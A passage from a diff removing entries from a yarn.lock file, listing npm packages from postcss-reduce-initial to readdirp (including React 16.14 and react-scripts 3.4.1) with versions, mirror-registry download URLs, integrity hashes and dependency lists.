-  resolved "https://registry.nlark.com/postcss-reduce-initial/download/postcss-reduce-initial-4.0.3.tgz?cache=0&sync_timestamp=1621449728984&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-reduce-initial%2Fdownload%2Fpostcss-reduce-initial-4.0.3.tgz#7fd42ebea5e9c814609639e2c2e84ae270ba48df"
-  integrity sha1-f9QuvqXpyBRgljniwuhK4nC6SN8=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-
-postcss-reduce-transforms@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-reduce-transforms/download/postcss-reduce-transforms-4.0.2.tgz?cache=0&sync_timestamp=1621449730895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-reduce-transforms%2Fdownload%2Fpostcss-reduce-transforms-4.0.2.tgz#17efa405eacc6e07be3414a5ca2d1074681d4e29"
-  integrity sha1-F++kBerMbge+NBSlyi0QdGgdTik=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-replace-overflow-wrap@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-replace-overflow-wrap/download/postcss-replace-overflow-wrap-3.0.0.tgz#61b360ffdaedca84c7c918d2b0f0d0ea559ab01c"
-  integrity sha1-YbNg/9rtyoTHyRjSsPDQ6lWasBw=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-safe-parser@4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-safe-parser/download/postcss-safe-parser-4.0.1.tgz#8756d9e4c36fdce2c72b091bbc8ca176ab1fcdea"
-  integrity sha1-h1bZ5MNv3OLHKwkbvIyhdqsfzeo=
-  dependencies:
-    postcss "^7.0.0"
-
-postcss-selector-matches@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-selector-matches/download/postcss-selector-matches-4.0.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-selector-matches%2Fdownload%2Fpostcss-selector-matches-4.0.0.tgz#71c8248f917ba2cc93037c9637ee09c64436fcff"
-  integrity sha1-ccgkj5F7osyTA3yWN+4JxkQ2/P8=
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-not@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-selector-not/download/postcss-selector-not-4.0.1.tgz?cache=0&sync_timestamp=1612096191464&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-selector-not%2Fdownload%2Fpostcss-selector-not-4.0.1.tgz#263016eef1cf219e0ade9a913780fc1f48204cbf"
-  integrity sha1-JjAW7vHPIZ4K3pqRN4D8H0ggTL8=
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-parser@^3.0.0:
-  version "3.1.2"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-3.1.2.tgz?cache=0&sync_timestamp=1620752939806&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-selector-parser%2Fdownload%2Fpostcss-selector-parser-3.1.2.tgz#b310f5c4c0fdaf76f94902bbaa30db6aa84f5270"
-  integrity sha1-sxD1xMD9r3b5SQK7qjDbaqhPUnA=
-  dependencies:
-    dot-prop "^5.2.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^5.0.0-rc.3, postcss-selector-parser@^5.0.0-rc.4:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz?cache=0&sync_timestamp=1620752939806&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-selector-parser%2Fdownload%2Fpostcss-selector-parser-5.0.0.tgz#249044356697b33b64f1a8f7c80922dddee7195c"
-  integrity sha1-JJBENWaXsztk8aj3yAki3d7nGVw=
-  dependencies:
-    cssesc "^2.0.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2:
-  version "6.0.6"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-6.0.6.tgz?cache=0&sync_timestamp=1620752939806&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-selector-parser%2Fdownload%2Fpostcss-selector-parser-6.0.6.tgz#2c5bba8174ac2f6981ab631a42ab0ee54af332ea"
-  integrity sha1-LFu6gXSsL2mBq2MaQqsO5UrzMuo=
-  dependencies:
-    cssesc "^3.0.0"
-    util-deprecate "^1.0.2"
-
-postcss-svgo@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-svgo/download/postcss-svgo-4.0.3.tgz?cache=0&sync_timestamp=1622234649078&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-svgo%2Fdownload%2Fpostcss-svgo-4.0.3.tgz#343a2cdbac9505d416243d496f724f38894c941e"
-  integrity sha1-NDos26yVBdQWJD1Jb3JPOIlMlB4=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    svgo "^1.0.0"
-
-postcss-unique-selectors@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-unique-selectors/download/postcss-unique-selectors-4.0.1.tgz?cache=0&sync_timestamp=1621449730035&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-unique-selectors%2Fdownload%2Fpostcss-unique-selectors-4.0.1.tgz#9446911f3289bfd64c6d680f073c03b1f9ee4bac"
-  integrity sha1-lEaRHzKJv9ZMbWgPBzwDsfnuS6w=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    postcss "^7.0.0"
-    uniqs "^2.0.0"
-
-postcss-value-parser@^3.0.0:
-  version "3.3.1"
-  resolved "https://registry.nlark.com/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-value-parser%2Fdownload%2Fpostcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281"
-  integrity sha1-n/giVH4okyE88cMO+lGsX9G6goE=
-
-postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/postcss-value-parser/download/postcss-value-parser-4.1.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-value-parser%2Fdownload%2Fpostcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
-  integrity sha1-RD9qIM7WSBor2k+oUypuVdeJoss=
-
-postcss-values-parser@^2.0.0, postcss-values-parser@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/postcss-values-parser/download/postcss-values-parser-2.0.1.tgz#da8b472d901da1e205b47bdc98637b9e9e550e5f"
-  integrity sha1-2otHLZAdoeIFtHvcmGN7np5VDl8=
-  dependencies:
-    flatten "^1.0.2"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss@7.0.21:
-  version "7.0.21"
-  resolved "https://registry.nlark.com/postcss/download/postcss-7.0.21.tgz?cache=0&sync_timestamp=1621568644827&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss%2Fdownload%2Fpostcss-7.0.21.tgz#06bb07824c19c2021c5d056d5b10c35b989f7e17"
-  integrity sha1-BrsHgkwZwgIcXQVtWxDDW5iffhc=
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-postcss@^7, postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.17, postcss@^7.0.2, postcss@^7.0.23, postcss@^7.0.27, postcss@^7.0.32, postcss@^7.0.5, postcss@^7.0.6:
-  version "7.0.35"
-  resolved "https://registry.nlark.com/postcss/download/postcss-7.0.35.tgz?cache=0&sync_timestamp=1621568644827&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss%2Fdownload%2Fpostcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24"
-  integrity sha1-0r4AuZj38hHYonaXQHny6SuXDiQ=
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-prelude-ls@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/prelude-ls/download/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
-
-prepend-http@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/prepend-http/download/prepend-http-1.0.4.tgz#d4f4562b0ce3696e41ac52d0e002e57a635dc6dc"
-  integrity sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=
-
-pretty-bytes@^5.1.0:
-  version "5.6.0"
-  resolved "https://registry.npm.taobao.org/pretty-bytes/download/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
-  integrity sha1-NWJW9kOAR3PIL2RyP+eMksYr6us=
-
-pretty-error@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/pretty-error/download/pretty-error-2.1.2.tgz?cache=0&sync_timestamp=1623178758301&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-error%2Fdownload%2Fpretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6"
-  integrity sha1-von4LYGxyG7I/fvDhQRYgnJ/k7Y=
-  dependencies:
-    lodash "^4.17.20"
-    renderkid "^2.0.4"
-
-pretty-format@^24.0.0, pretty-format@^24.3.0, pretty-format@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/pretty-format/download/pretty-format-24.9.0.tgz?cache=0&sync_timestamp=1622290207673&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-24.9.0.tgz#12fac31b37019a4eea3c11aa9a959eb7628aa7c9"
-  integrity sha1-EvrDGzcBmk7qPBGqmpWet2KKp8k=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    ansi-regex "^4.0.0"
-    ansi-styles "^3.2.0"
-    react-is "^16.8.4"
-
-pretty-format@^25.1.0:
-  version "25.5.0"
-  resolved "https://registry.nlark.com/pretty-format/download/pretty-format-25.5.0.tgz?cache=0&sync_timestamp=1622290207673&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-25.5.0.tgz#7873c1d774f682c34b8d48b6743a2bf2ac55791a"
-  integrity sha1-eHPB13T2gsNLjUi2dDor8qxVeRo=
-  dependencies:
-    "@jest/types" "^25.5.0"
-    ansi-regex "^5.0.0"
-    ansi-styles "^4.0.0"
-    react-is "^16.12.0"
-
-pretty-format@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/pretty-format/download/pretty-format-26.6.2.tgz?cache=0&sync_timestamp=1622290207673&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-26.6.2.tgz#e35c2705f14cb7fe2fe94fa078345b444120fc93"
-  integrity sha1-41wnBfFMt/4v6U+geDRbREEg/JM=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    ansi-regex "^5.0.0"
-    ansi-styles "^4.0.0"
-    react-is "^17.0.1"
-
-process-nextick-args@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha1-eCDZsWEgzFXKmud5JoCufbptf+I=
-
-process@^0.11.10:
-  version "0.11.10"
-  resolved "https://registry.npm.taobao.org/process/download/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
-  integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-progress@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/progress/download/progress-2.0.3.tgz?cache=0&sync_timestamp=1599054255267&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fprogress%2Fdownload%2Fprogress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
-  integrity sha1-foz42PW48jnBvGi+tOt4Vn1XLvg=
-
-promise-inflight@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/promise-inflight/download/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
-  integrity sha1-mEcocL8igTL8vdhoEputEsPAKeM=
-
-promise@^8.0.3:
-  version "8.1.0"
-  resolved "https://registry.nlark.com/promise/download/promise-8.1.0.tgz#697c25c3dfe7435dd79fcd58c38a135888eaf05e"
-  integrity sha1-aXwlw9/nQ13Xn81Yw4oTWIjq8F4=
-  dependencies:
-    asap "~2.0.6"
-
-prompts@^2.0.1:
-  version "2.4.1"
-  resolved "https://registry.nlark.com/prompts/download/prompts-2.4.1.tgz#befd3b1195ba052f9fd2fde8a486c4e82ee77f61"
-  integrity sha1-vv07EZW6BS+f0v3opIbE6C7nf2E=
-  dependencies:
-    kleur "^3.0.3"
-    sisteransi "^1.0.5"
-
-prop-types@^15.6.2, prop-types@^15.7.2:
-  version "15.7.2"
-  resolved "https://registry.npm.taobao.org/prop-types/download/prop-types-15.7.2.tgz?cache=0&sync_timestamp=1615984425557&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fprop-types%2Fdownload%2Fprop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
-  integrity sha1-UsQedbjIfnK52TYOAga5ncv/psU=
-  dependencies:
-    loose-envify "^1.4.0"
-    object-assign "^4.1.1"
-    react-is "^16.8.1"
-
-proxy-addr@~2.0.5:
-  version "2.0.7"
-  resolved "https://registry.nlark.com/proxy-addr/download/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
-  integrity sha1-8Z/mnOqzEe65S0LnDowgcPm6ECU=
-  dependencies:
-    forwarded "0.2.0"
-    ipaddr.js "1.9.1"
-
-prr@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/prr/download/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
-  integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
-
-psl@^1.1.28:
-  version "1.8.0"
-  resolved "https://registry.npm.taobao.org/psl/download/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-  integrity sha1-kyb4vPsBOtzABf3/BWrM4CDlHCQ=
-
-public-encrypt@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/public-encrypt/download/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
-  integrity sha1-T8ydd6B+SLp1J+fL4N4z0HATMeA=
-  dependencies:
-    bn.js "^4.1.0"
-    browserify-rsa "^4.0.0"
-    create-hash "^1.1.0"
-    parse-asn1 "^5.0.0"
-    randombytes "^2.0.1"
-    safe-buffer "^5.1.2"
-
-pump@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/pump/download/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909"
-  integrity sha1-Ejma3W5M91Jtlzy8i1zi4pCLOQk=
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pump/download/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha1-tKIRaBW94vTh6mAjVOjHVWUQemQ=
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pumpify@^1.3.3:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/pumpify/download/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce"
-  integrity sha1-NlE74karJ1cLGjdKXOJ4v9dDcM4=
-  dependencies:
-    duplexify "^3.6.0"
-    inherits "^2.0.3"
-    pump "^2.0.0"
-
-punycode@1.3.2:
-  version "1.3.2"
-  resolved "https://registry.nlark.com/punycode/download/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
-  integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@^1.2.4:
-  version "1.4.1"
-  resolved "https://registry.nlark.com/punycode/download/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
-  integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
-
-punycode@^2.1.0, punycode@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/punycode/download/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha1-tYsBCsQMIsVldhbI0sLALHv0eew=
-
-q@^1.1.2:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/q/download/q-1.5.1.tgz?cache=0&sync_timestamp=1599054212574&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fq%2Fdownload%2Fq-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
-  integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
-
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.nlark.com/qs/download/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha1-QdwaAV49WB8WIXdr4xr7KHapsbw=
-
-qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.nlark.com/qs/download/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha1-yzroBuh0BERYTvFUzo7pjUA/PjY=
-
-query-string@^4.1.0:
-  version "4.3.4"
-  resolved "https://registry.npm.taobao.org/query-string/download/query-string-4.3.4.tgz#bbb693b9ca915c232515b228b1a02b609043dbeb"
-  integrity sha1-u7aTucqRXCMlFbIosaArYJBD2+s=
-  dependencies:
-    object-assign "^4.1.0"
-    strict-uri-encode "^1.0.0"
-
-querystring-es3@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.nlark.com/querystring-es3/download/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
-  integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/querystring/download/querystring-0.2.0.tgz?cache=0&sync_timestamp=1613399913000&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fquerystring%2Fdownload%2Fquerystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-  integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-querystringify@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/querystringify/download/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
-  integrity sha1-M0WUG0FTy50ILY7uTNogFqmu9/Y=
-
-raf@^3.4.1:
-  version "3.4.1"
-  resolved "https://registry.npm.taobao.org/raf/download/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
-  integrity sha1-B0LpmkplUvRF1z4+4DKK8P8e3jk=
-  dependencies:
-    performance-now "^2.1.0"
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/randombytes/download/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
-  integrity sha1-32+ENy8CcNxlzfYpE0mrekc9Tyo=
-  dependencies:
-    safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/randomfill/download/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
-  integrity sha1-ySGW/IarQr6YPxvzF3giSTHWFFg=
-  dependencies:
-    randombytes "^2.0.5"
-    safe-buffer "^5.1.0"
-
-range-parser@^1.2.1, range-parser@~1.2.1:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/range-parser/download/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-  integrity sha1-PPNwI9GZ4cJNGlW4SADC8+ZGgDE=
-
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.nlark.com/raw-body/download/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha1-oc5vucm8NWylLoklarWQWeE9AzI=
-  dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    unpipe "1.0.0"
-
-react-app-polyfill@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.npm.taobao.org/react-app-polyfill/download/react-app-polyfill-1.0.6.tgz#890f8d7f2842ce6073f030b117de9130a5f385f0"
-  integrity sha1-iQ+NfyhCzmBz8DCxF96RMKXzhfA=
-  dependencies:
-    core-js "^3.5.0"
-    object-assign "^4.1.1"
-    promise "^8.0.3"
-    raf "^3.4.1"
-    regenerator-runtime "^0.13.3"
-    whatwg-fetch "^3.0.0"
-
-react-dev-utils@^10.2.1:
-  version "10.2.1"
-  resolved "https://registry.nlark.com/react-dev-utils/download/react-dev-utils-10.2.1.tgz#f6de325ae25fa4d546d09df4bb1befdc6dd19c19"
-  integrity sha1-9t4yWuJfpNVG0J30uxvv3G3RnBk=
-  dependencies:
-    "@babel/code-frame" "7.8.3"
-    address "1.1.2"
-    browserslist "4.10.0"
-    chalk "2.4.2"
-    cross-spawn "7.0.1"
-    detect-port-alt "1.1.6"
-    escape-string-regexp "2.0.0"
-    filesize "6.0.1"
-    find-up "4.1.0"
-    fork-ts-checker-webpack-plugin "3.1.1"
-    global-modules "2.0.0"
-    globby "8.0.2"
-    gzip-size "5.1.1"
-    immer "1.10.0"
-    inquirer "7.0.4"
-    is-root "2.1.0"
-    loader-utils "1.2.3"
-    open "^7.0.2"
-    pkg-up "3.1.0"
-    react-error-overlay "^6.0.7"
-    recursive-readdir "2.2.2"
-    shell-quote "1.7.2"
-    strip-ansi "6.0.0"
-    text-table "0.2.0"
-
-react-dom@^16.13.1:
-  version "16.14.0"
-  resolved "https://registry.nlark.com/react-dom/download/react-dom-16.14.0.tgz#7ad838ec29a777fb3c75c3a190f661cf92ab8b89"
-  integrity sha1-etg47Cmnd/s8dcOhkPZhz5Kri4k=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-    prop-types "^15.6.2"
-    scheduler "^0.19.1"
-
-react-error-overlay@^6.0.7:
-  version "6.0.9"
-  resolved "https://registry.nlark.com/react-error-overlay/download/react-error-overlay-6.0.9.tgz#3c743010c9359608c375ecd6bc76f35d93995b0a"
-  integrity sha1-PHQwEMk1lgjDdezWvHbzXZOZWwo=
-
-react-is@^16.12.0, react-is@^16.8.1, react-is@^16.8.4:
-  version "16.13.1"
-  resolved "https://registry.nlark.com/react-is/download/react-is-16.13.1.tgz?cache=0&sync_timestamp=1623168195441&other_urls=https%3A%2F%2Fregistry.nlark.com%2Freact-is%2Fdownload%2Freact-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
-  integrity sha1-eJcppNw23imZ3BVt1sHZwYzqVqQ=
-
-react-is@^17.0.1:
-  version "17.0.2"
-  resolved "https://registry.nlark.com/react-is/download/react-is-17.0.2.tgz?cache=0&sync_timestamp=1623168195441&other_urls=https%3A%2F%2Fregistry.nlark.com%2Freact-is%2Fdownload%2Freact-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
-  integrity sha1-5pHUqOnHiTZWVVOas3J2Kw77VPA=
-
-react-scripts@3.4.1:
-  version "3.4.1"
-  resolved "https://registry.npm.taobao.org/react-scripts/download/react-scripts-3.4.1.tgz#f551298b5c71985cc491b9acf3c8e8c0ae3ada0a"
-  integrity sha1-9VEpi1xxmFzEkbms88jowK462go=
-  dependencies:
-    "@babel/core" "7.9.0"
-    "@svgr/webpack" "4.3.3"
-    "@typescript-eslint/eslint-plugin" "^2.10.0"
-    "@typescript-eslint/parser" "^2.10.0"
-    babel-eslint "10.1.0"
-    babel-jest "^24.9.0"
-    babel-loader "8.1.0"
-    babel-plugin-named-asset-import "^0.3.6"
-    babel-preset-react-app "^9.1.2"
-    camelcase "^5.3.1"
-    case-sensitive-paths-webpack-plugin "2.3.0"
-    css-loader "3.4.2"
-    dotenv "8.2.0"
-    dotenv-expand "5.1.0"
-    eslint "^6.6.0"
-    eslint-config-react-app "^5.2.1"
-    eslint-loader "3.0.3"
-    eslint-plugin-flowtype "4.6.0"
-    eslint-plugin-import "2.20.1"
-    eslint-plugin-jsx-a11y "6.2.3"
-    eslint-plugin-react "7.19.0"
-    eslint-plugin-react-hooks "^1.6.1"
-    file-loader "4.3.0"
-    fs-extra "^8.1.0"
-    html-webpack-plugin "4.0.0-beta.11"
-    identity-obj-proxy "3.0.0"
-    jest "24.9.0"
-    jest-environment-jsdom-fourteen "1.0.1"
-    jest-resolve "24.9.0"
-    jest-watch-typeahead "0.4.2"
-    mini-css-extract-plugin "0.9.0"
-    optimize-css-assets-webpack-plugin "5.0.3"
-    pnp-webpack-plugin "1.6.4"
-    postcss-flexbugs-fixes "4.1.0"
-    postcss-loader "3.0.0"
-    postcss-normalize "8.0.1"
-    postcss-preset-env "6.7.0"
-    postcss-safe-parser "4.0.1"
-    react-app-polyfill "^1.0.6"
-    react-dev-utils "^10.2.1"
-    resolve "1.15.0"
-    resolve-url-loader "3.1.1"
-    sass-loader "8.0.2"
-    semver "6.3.0"
-    style-loader "0.23.1"
-    terser-webpack-plugin "2.3.5"
-    ts-pnp "1.1.6"
-    url-loader "2.3.0"
-    webpack "4.42.0"
-    webpack-dev-server "3.10.3"
-    webpack-manifest-plugin "2.2.0"
-    workbox-webpack-plugin "4.3.1"
-  optionalDependencies:
-    fsevents "2.1.2"
-
-react@^16.13.1:
-  version "16.14.0"
-  resolved "https://registry.nlark.com/react/download/react-16.14.0.tgz?cache=0&sync_timestamp=1623168219011&other_urls=https%3A%2F%2Fregistry.nlark.com%2Freact%2Fdownload%2Freact-16.14.0.tgz#94d776ddd0aaa37da3eda8fc5b6b18a4c9a3114d"
-  integrity sha1-lNd23dCqo32j7aj8W2sYpMmjEU0=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-    prop-types "^15.6.2"
-
-read-pkg-up@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-2.0.0.tgz?cache=0&sync_timestamp=1616916344510&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-2.0.0.tgz#6b72a8048984e0c41e79510fd5e9fa99b3b549be"
-  integrity sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=
-  dependencies:
-    find-up "^2.0.0"
-    read-pkg "^2.0.0"
-
-read-pkg-up@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-4.0.0.tgz?cache=0&sync_timestamp=1616916344510&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-4.0.0.tgz#1b221c6088ba7799601c808f91161c66e58f8978"
-  integrity sha1-GyIcYIi6d5lgHICPkRYcZuWPiXg=
-  dependencies:
-    find-up "^3.0.0"
-    read-pkg "^3.0.0"
-
-read-pkg@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/read-pkg/download/read-pkg-2.0.0.tgz#8ef1c0623c6a6db0dc6713c4bfac46332b2368f8"
-  integrity sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=
-  dependencies:
-    load-json-file "^2.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^2.0.0"
-
-read-pkg@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/read-pkg/download/read-pkg-3.0.0.tgz#9cbc686978fee65d16c00e2b19c237fcf6e38389"
-  integrity sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=
-  dependencies:
-    load-json-file "^4.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^3.0.0"
-
-"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6:
-  version "2.3.7"
-  resolved "https://registry.nlark.com/readable-stream/download/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-readable-stream@^3.0.6, readable-stream@^3.6.0:
-  version "3.6.0"
-  resolved "https://registry.nlark.com/readable-stream/download/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-  integrity sha1-M3u9o63AcGvT4CRCaihtS0sskZg=
-  dependencies:
-    inherits "^2.0.3"
-    string_decoder "^1.1.1"
-    util-deprecate "^1.0.1"
-
-readdirp@^2.2.1:
-  version "2.2.1"
